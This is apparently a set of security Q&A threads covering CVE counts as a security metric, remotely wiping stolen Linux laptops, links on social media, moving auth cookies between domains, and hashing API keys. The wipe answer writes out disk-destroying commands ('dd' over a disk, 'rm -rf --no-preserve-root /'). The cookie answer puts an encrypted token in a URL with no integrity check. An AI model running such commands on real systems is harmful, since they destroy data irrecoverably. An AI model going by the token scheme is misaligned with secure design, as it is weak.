Can we say that a software is "more secure" than another, based on the number of CVEs these softwares have ?

Can we say that a software is "more secure" than another, based on the number of CVEs these softwares have?

No. CVE entries are not a good source to rank products by their "overall security".

The main idea behind the CVE system is to create unique identifiers for software vulnerabilities. It's not designed to be a complete and verified database of all known vulnerabilities in any product. That is, a vendor or researcher could simply decide to not request a CVE number for a given flaw. Further, entries sometimes combine related bugs under a single ID or don't disclose the exact impact, making a simple "bug count" a rather meaningless security criterion. Also, for a ranking you'd have to find sensible metrics to compare different severities. (How many DoS bugs equal a remote code execution...?)

That said, CVEs do surely give you an idea about what kind of vulnerabilities have been found in a product and they're a good starting point for research. But the amount strongly depends on the age of the software and how much attention it receives through security auditing. You can't really reason if a lot of CVE assignments means that the software is poorly written or if it actually means that it's particularly secure because evidently a lot of vulnerabilities are getting fixed. I personally tend to find it suspicious if an older product has a very short record of patched vulnerabilities because that could indicate it hasn't been audited thoroughly.

So you should think of CVE as a dictionary rather than a database that simply assigns handles to vulnerabilities so that you can reference them easier — don't use it as a tool to compare security.

Here are some better indicators for a secure product:

The software is used and developed actively.
The vendor encourages people to search for vulnerabilities (and maybe even offers bounties).
New security bugs are processed and patched quickly.


How can I remotely wipe the contents of a Linux Laptop if its been stolen? I am currently investigating using Linux Laptops for my development team. We currently run Windows. The one advantage that keeps coming up for Windows over Linux from a system administration / security perspective is the fact that if a laptop is stolen, it can be remotely wiped upon boot.

I have been trying to find information on this capability for Linux based workstations, but I have come up empty handed. Do any of you use Linux in an Enterprise environment on Workstations and if so, has this been a requirement that you have solved? I'm not sure where else to look.

Thank you

I've had a look and I think this question provides some interesting options. I'll summarise them here:

dd if=/dev/zero of=/dev/sdaX copies zeros over your whole disk. rm -rf --no-preserve-root / recursively deletes all files on a disk, overriding the rm -rf / warning on systems where that is enabled. If you can get to a box via ssh, running the dd variant should pretty effectively destroy your disk.
The grub option is interesting in that it gives you VNC access - however it would likely be obvious to the attacker that you're launching VNC - they'd need to hit the right grub option for starters! A hidden grub menu with the real launch entry might suffice... but we're talking about trickery.
This AskUbuntu question deals with this issue too, recommending a solution.

If you're prepared to do some work yourself, you could configure a very-early-stage init entry with sysvinit or whatever your system uses - check a url you control e.g. https://remotecheck.yourcompany.com and if the device is stolen, begin a wipe.

The ultimate problem with any remote wipe solution is invoking it - you need to be able to access the device. The reason I mention using a custom init-invoked job is that it is more likely you'll have access out than direct or known access in - i.e. if the attacker is behind a router at their base of operations, chances are good that outbound connections are allowed and much lower that they have an IP you can bind to and allow incoming connections on.

Of course, none of these solutions actually guarantee anything - if the attacker knows how they work they can just turn them off. A solution mentioned in comments is to use disk encryption, which will make the disk unreadable under these caveats:

the whole disk is encrypted - otherwise your software might write to unencrypted areas.
the system is powered off or for example luksSuspend -wipe has been run to remove the keys from memory.
the attacker has had no way to observe the key entry prior to stealing the device.

Honestly - I'd go with disk encryption.


Security and Links on Social Media My sister is afraid to let me have a link on her Facebook page (I don't use Facebook) to my page at the artofwhere website where I have products adorned with my artwork for sale. Am I correct that her page cannot be hacked by way of that link to my page?

You are correct. Under normal conditions, simply putting a link on a page is insufficient to hack that page. It may be a problem to put a malicious link on an insecure website, if said link is specially crafted to exploit a bug like XSS, but that is not an issue if you simply put your link on her page.


How to securely transfer cookies between two domains? Let's say you have a website https://example.org which is being decommissioned and redirected to https://example.net.
Your users have a cookie on https://example.org which contains some authentication token for the backend services (e.g. https://backend.example.org). You want the redirect on https://example.org to also transfer this token to a cookie on https://example.net.
Without asking the user to reauthenticate, what is the best way to securely transfer this?

Something along these lines might work:

Generate an AES encryption key, known to https://example.org and https://example.net.

On the initial request by the user to https://example.org, the server encrypts timestamp|authentication token using the key, then responds with a 301 rediect to https://example.net?xxxxx (where xxxxx is the ciphertext).

On the request to https://example.net?xxxxx, the server uses the key to decrypt xxxxx to get timestamp|authentication token.  The server checks that timestamp is not more than n seconds in the past (to avoid replay attacks).  If so, the server authenticates the user stores the authentication token in a cookie for https://example.net.


Which function to hash 128 bit API key with? I'm generating 128 bit API keys. AFAIK 128 is totally secure for generated key. In the DB I want to store hashes, not the plain text (to be protected against DB leak), but what hashing algorithm should I use? MD5 and SHA-1 are not considered secure. SHA-256 produces bigger output than the key itself so it seems like it doesn't make sense to use a 128 bit key with SHA-256.

but what hashing key should i use? md5 or sha1 are not considered
  secure. sha256 produces bigger output than the key itself so it seems
  like it doesn't make sense to use 128bit key with sha256

It's okay for the output hash to be longer than the input being protected. Sha1 and Md5 are both deprecated for certain applications, so probably best to avoid those options.

Since you are hashing 128 bit keys you may be fine just using one round of sha256. This is based on the understanding that you are hashing random 128-bit api keys and not passwords. The advice for hashing passwords will be very different.